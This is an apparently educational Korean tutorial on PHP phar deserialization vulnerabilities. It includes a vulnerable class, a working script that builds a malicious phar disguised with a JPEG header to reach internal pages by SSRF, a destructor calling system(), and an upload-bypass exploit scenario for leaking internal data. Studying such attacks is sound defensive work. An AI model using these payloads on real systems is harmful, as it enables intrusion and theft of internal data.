1. phar ?
1.1 의미
Phar는
PHP Archive
로 phar 파일에 어플리케이션 로직을 저장할 수 있는 php의 확장
입니다. Phar 파일을 사용할 경우, phar://
형식으로 가져와서 사용되며, 주로 php stream wrappers
에서 사용됩니다.1.2 형식
phar 파일 안에 php 파일이 포함되어 있으며,
phar
스키마를 통하여 접근할 수 있습니다include 'phar://file.phar/1.php'; include 'phar://file.phar/2.php';
- phar파일만 존재한다면, 내부에 있는 php파일을 자유롭게 불러올 수 있다는 점이 장점입니다.
Phar 파일은 4가지 구조로 이루어져 있는데, 여기서 주로 볼 부분은 Phar의 메타데이터들이 담기는
Manifest
부분입니다.- Stub
- Manifest
- File contents
- Signature (Optional)
Manifest 부분의 구조는 다음과 같습니다.
- 여러가지 데이터 섹션이 존재하고,
serialize
된 데이터가 존재하는 섹션이 있습니다.
- 여기서 Deserialization 취약점에 노출될 수 있습니다.
2. phar 역직렬화 취약점
2.1 phar 역직렬화 취약점?
phar 파일을 사용할 때 Manifest 부분에서
Deserialization
하는 부분이 존재하는데, 이때 Deserialization 취약점에 노출될 되는 취약점을 말합니다.
2.2 실습
취약한 PHP 파일
예시로
Curl Class
를 사용하는 phar 파일이 있습니다. 여기서 주로 보아야 할 부분은 __destruct()
부분입니다. 해당 클래스를 선언하는 부분이 phar의 metadata 부분에 들어간다면 어떻게 되는지 보겠습니다.<?php require("db.php"); ini_set('phar.readonly',0); class Requests { public $url; private $options; private $postData; private $cookie; function __construct($url, $postData = '', $cookie = '', $options = array()) { $this->url = $url; $this->postData = $postData; $this->cookie = $cookie; $this->options = $options; } function __destruct(){ //생성자에서 선언된 데이터로 원하는 곳에 CURL 요청 발생 $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); if (!empty($this->postData)) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $this->postData); } if (!empty($this->cookie)) { curl_setopt($ch, CURLOPT_COOKIE, $this->cookie); } foreach ($this->options as $option => $value) { curl_setopt($ch, $option, $value); } $output = curl_exec($ch); echo $output; curl_close($ch); } // 여기서 phar 스키마를 사용할 수 있다면? $URL = $_GET['url'] file_get_contents($URL) ?>
⚠️ 일단 여기서 유심히 봐야 할 부분은 다음과 같습니다.
phar.readonly가 disabled 되어있다.
→phar stream을 사용가능하고 object를 쓸 수 있다
__destruct() 를 통해 생성자를 통해 입력 받은 정보로 curl 요청을 수행
→역직렬화 시, 원하는 데이터로 변경 가능
➡️ 해당 취약점을 이용하여 로컬만 접근할 수 있는 페이지로 접근할 수 있도록 할 수 있습니다.
➡️
curl
클래스를 포함한 phar
파일을 만들고, 객체를 생성한 후 metadata
부분에 해당 객체를 넣으면 됩니다.//rce.phar <?php // class Requests { // public $url; // private $options; // private $postData; // private $cookie; // function __construct($url, $postData = '', $cookie = '', $options = array()) { // $this->url = $url; // $this->postData = $postData; // $this->cookie = $cookie; // $this->options = $options; // } // function __destruct(){ // $ch = curl_init(); // curl_setopt($ch, CURLOPT_URL, $this->url); // curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // if (!empty($this->postData)) { // curl_setopt($ch, CURLOPT_POST, true); // curl_setopt($ch, CURLOPT_POSTFIELDS, $this->postData); // } // if (!empty($this->cookie)) { // curl_setopt($ch, CURLOPT_COOKIE, $this->cookie); // } // foreach ($this->options as $option => $value) { // curl_setopt($ch, $option, $value); // } // $output = curl_exec($ch); // echo $output; // curl_close($ch); // } // } //파일 생성 $phar = new Phar('rce.phar'); $phar -> startBuffering(); // 헤더를 JPEG로 변경(파일 확장자 우회, 필수 아님) $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>"); $phar -> addFromString('test.txt','test'); // 속성 부여 $url = "http://127.0.0.1/admin.php"; $cookie = "PHPSESSID=cookie;"; //cookie // Requests 객체를 만들어 줌으로써, 추후 phar이 Deserialization이 될 경우 Requests에 있는 destruct 코드 실행 $object = new Requests($url, $cookie); $phar -> setMetadata($object); $phar -> stopBuffering(); ?>
- 이후 해당 파일을
php --define phar.readonly=0 rce.php
명령어를 통해 phar파일을 생성합니다.
- 해당 파일이 서버에 업로드 됩니다.
(확장자가 phar이 아니더라도 phar:// 를 쓸 수 있다면 상관 없습니다.)
- 해당 파일이
phar://
처리를 할 수 있는 스트림 함수를 만나게 되면,127.0.0.1/admin.php
로 요청이 가능합니다.
- 이때 해당 exploit 코드는
127.0.0.1/admin.php
로 요청을 하였지만, 실제로 상황에 따라 로컬에서만 접근할 수 있는 서버로 접근하여내부망으로 접근하는 등 많은 사용 방법이 존재합니다.
➡️ 다른 phar 역직렬화 취약점 예시 코드로 hacktricks에 명시된 예시 코드를 보겠습니다
<?php class AnyClass { public $data = null; public function __construct($data) { $this->data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path
만약
phar://
를 이용하여 phar파일을 파싱할 수 있고, 해당 코드 상위단에 클래스의 생성자와 소멸자가 존재한다면, phar 파일 내에서 해당 클래스를 선언하고, 값을 조작하여 소멸자에서 무언가를 트리거 시킬 수 있다면
.phar Deserialization 취약점을 이용하여 의도치 않은 동작을 수행할 수 있습니다. ➡️ 여기서
phar://
처리를 할 수 있는 스트림 함수는 다음과 같습니다.➡️ 생각보다 많은 함수들이 해당 스키마를 사용할 수 있습니다.
file() filetime() filectime() fileatime() file_put_contents() fileinode() file_exists() ...
3. Exploit 시나리오
3.1 서비스
board.php
코드 최상단에 특정 웹사이트와의 통신을 위한 Curl class가 선언되어 있음
board.php
에서 글을 업로드 할 때, 업로드 첨부파일의 파일 크기를filesize
로 체크함
- 로그인 이후, 마이페이지에서
/uploads/{uid}/{random}
형태로 파일 업로드가 가능한 지점 존재
3.2 Exploit
- 마이페이지에서
악성 phar
파일을 업로드함 (파일업로드 확장자 우회, 헤더 변경)
- board.php에서 파일이름을 proxy로 변경하여
phar:///uploads/{uid}/{random}
형태로 변경
filesize
에서 파일 이름을 파싱하면서 역직렬화 취약점 발생,CURL
을 이용한 내부망 데이터 외부 유출 가능